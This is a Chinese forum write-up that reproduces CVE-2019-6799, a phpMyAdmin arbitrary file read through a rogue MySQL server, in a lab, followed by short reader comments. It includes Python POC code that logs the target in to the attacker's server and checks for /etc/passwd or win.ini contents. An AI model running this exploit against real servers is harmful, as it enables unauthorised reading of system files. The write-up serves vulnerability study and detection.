phpMyAdmin任意文件读取漏洞复现(CVE-2019-6799)以及检测POC编写

l836918621   ·   发表于 2020-06-12 10:07:18   ·   安全工具

0x00 前言

第一次发文章,感觉自己好菜拿不出来什么好东西分享,只能写写小小的检测脚本了。这个漏洞复现方法真的是找了好久。搜CVE编号怎么都搜不到,最后搜索AllowArbitraryServer找到的,和CVE描述一模一样的任意文件读取漏洞。(哎,我太菜了只能到处找方法来复现)。也算是搬运一下方法吧。脚本写的比较简陋也不够优雅,仅供参考QAQ

0x01 漏洞简介

当AllowArbitraryServer配置被设置成为‘true’时,我们可以在登录页面设置所连接服务器的IP。

于是构造恶意MYSQL服务器,使用恶意MYSQL服务器脚本,这时我们在登录页面连接我们的恶意mysql服务器即可完成任意文件读取,访问成功会生成日志,日志中会包含已读到的文件。

恶意mysql服务下载地址:

https://github.com/vulnspy/phpmyadmin-4.8.4-allowarbitraryserver
漏洞影响范围:
版本号:4.0 - 4.8.4

0x02 漏洞复现

这里我用的是phpmyadmin-4.8.4
环境搭建:这个应该没什么说的了。直接把phpmyadmin放在网站根目录下访问就行了
修改配置文件:/phpmyadmin/libraries/config.default.php文件将AllowArbitraryServer改为true

这个值默认是false(所以其实这个漏洞挺鸡肋的,很少有人会把远程访问mysql服务器的配置打开)
false时的这样:

true时的这样:

ok。这里环境就配置完成了
可以开始复现了,过程很简单
恶意MYSQL服务器IP:10.0.13.171
目标phpmyadmin服务器IP:10.0.13.178
1.打开我们之前准备好的恶意mysql

2.这里我为了之后写poc脚本方便所以改了红框里的地方

3.运行该脚本

监听已经开启
4.我们在目标服务器上访问我们的恶意mysql服务器

5.查看恶意mysql服务器生成的日志文件

看到登陆上去了(账号密码随便输入),肯定会报错,这里不用管他,直接查看我们的日志

读取到了/etc/passwd的内容
到这里复现就完成了。

0x03 python poc编写

poc编写也比较常规,唯一要注意的是这里登录的时候需要带有token,不然会话会被重置。
1.为了多次检测不会造成端口占用,我们先调用系统命令查看是否需要kill掉之前的服务

#由于判断是读取日志文件中的内容,并且我们一定会多次运行POC,所以先判断一下文件是否存在,并且通过系统命令干掉之前的恶意mysql进程,防止端口冲突
 if os.path.isfile(mysql_file_log):
 #os.system('rm -f {filename}'.format(filename=mysql_file_log))
 cmd1 = 'pgrep -f rogue_mysql_server.py'
 cmd_sub = subprocess.Popen(cmd1, stdin=subprocess.PIPE,
 stdout=subprocess.PIPE,
 stderr=subprocess.PIPE,
 shell=True
 )
 bad_sql_pid = cmd_sub.stdout.read()
 if bad_sql_pid != '':
 os.system('kill -9 {pid}'.format(pid=bad_sql_pid))
 else:
 pass
 else:
 pass
 # 执行rogue_mysql_server
 os.system('python2 rogue_mysql_server.py')

2.这里我们需要带token访问
token一般会在html源码或者http响应头里,这里的在源码中

于是我们需要通过bs4来提取这里的token,记着一定要开启session来传数据,因为每个session的token是唯一的。直接爬的话,token会不一致的。
关键代码如下

 #第一次获取cookie和token
 #定义路径和请求头
 pma_path = '/phpmyadmin/'
 url = 'http://{ip}:{port}{pma_path}'.format(ip=ip,port=port,pma_path=pma_path)
 get_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 "
 "(KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36"}
 #因为要带token访问,所以我们一定要在一个session中进行请求
 s = requests.session()
 res1 = s.get(url,headers=get_headers)
 html_text = res1.text
 cookie_headers = res1.headers
 #获取响应头中cookie,下次访问需要带着这里的cookie
 set_cookie = cookie_headers['Set-Cookie']
 #通过正则匹配拿到cookie值
 pma_id_re_rule = re.compile(r'phpMyAdmin=(.*); path=')
 pma_id = pma_id_re_rule.search(set_cookie).group(1)
 #创建bs对象,获取表单的token
 bs = BeautifulSoup(html_text,'html.parser')
 items = bs.find(class_='disableAjax')、
 #有多个input标签我们筛选name=token的那个
 token_item = items.find_all('input',attrs={'name':'token'})
 token = token_item[0]['value']
 #这里需要给token进行url编码
 token_urlencode = urllib.quote(token)
 #组合我们的POST的data数据
 data = 'set_session={pma_id}&pma_servername={lhost}:{lport}&pma_username=root&pma_password=root&server=1&target=index.php&token={token}'.format(pma_id=pma_id,lhost=lhost,lport=lport,token=token_urlencode)
 #第二次带token访问
 post_headers = {
 "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 "
 "(KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36",
 "Connection": "close",
 "Content-Type": "application/x-www-form-urlencoded"
 }
 #发送POST数据
 res2 = s.post(url,headers=post_headers,data=data)
 #print len(res2.text)
 s.close()
 print 'data send ok'

3.读取日志文件并判断
这里我们只是用来检测漏洞是否存在,因此我们就读win.ini和passwd文件。并且通过简单的正则判断是否存在关键字即可

 #打开日志文件并查看内容
 file1 = open(mysql_file_log, 'r')
 file_content = file1.read()
 file1.close()
 #print file_content
 #正则匹配两种内容,一种是win.ini,一种是/etc/passwd的内容。这样我们不管对方是windows还是linux都可以进行判断。
 windows_re_rule = re.compile(r'.*app support.*fonts.*extensions',re.I)
 linux_re_rule = re.compile(r'root:x:0:0:',re.I)
 #直接判断正则表达式的bool值,如果为true即存在漏洞,否则没有漏洞。
 windows_mt_bool = bool(windows_re_rule.search(file_content))
 linux_mt_bool = bool(linux_re_rule.search(file_content))
 if windows_mt_bool:
 print('CVE-2019-6799 exists')
 elif linux_mt_bool:
 print('CVE-2019-6799 exists')
 else:
 print('no vul')

ok。这样检测脚本就写好啦。
检测结果是这样的:

完整脚本见附件!

参考

https://www.vulnspy.com/en-phpmyadmin-load-data-local-file-read-local-file/
https://www.youtube.com/watch?v=h6Xy5c0Pkyg

用户名金币积分时间理由
奖励系统 50.00 0 2020-06-15 22:10:09 投稿满 5 赞奖励
admin 100.00 0 2020-06-15 15:03:19 支持!

打赏我,让我更有动力~

11 条回复   |  直到 2022-11-30 | 4086 次浏览

逸辰
发表于 2020-6-15

dlddddhm

评论列表

  • 加载数据中...

编写评论内容


发表于 2020-6-15

顶一波

评论列表

  • 加载数据中...

编写评论内容

mcav
发表于 2020-6-18

顶一波

评论列表

  • 加载数据中...

编写评论内容

urfyyyy
发表于 2020-6-20

不错哦~

评论列表

  • 加载数据中...

编写评论内容

2661182172
发表于 2020-8-4

大佬强呀

评论列表

  • 加载数据中...

编写评论内容

linuxlz
发表于 2020-12-9

sdfsf

评论列表

  • 加载数据中...

编写评论内容

哪吒
发表于 2021-3-13

评论列表

  • 加载数据中...

编写评论内容

morick
发表于 2021-7-31

hi

评论列表

  • 加载数据中...

编写评论内容

1596376292
发表于 2021-11-21

666

评论列表

  • 加载数据中...

编写评论内容

kabasiji9696
发表于 2022-3-1

666

评论列表

  • 加载数据中...

编写评论内容

lc_shell
发表于 2022-11-30

666

评论列表

  • 加载数据中...

编写评论内容
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.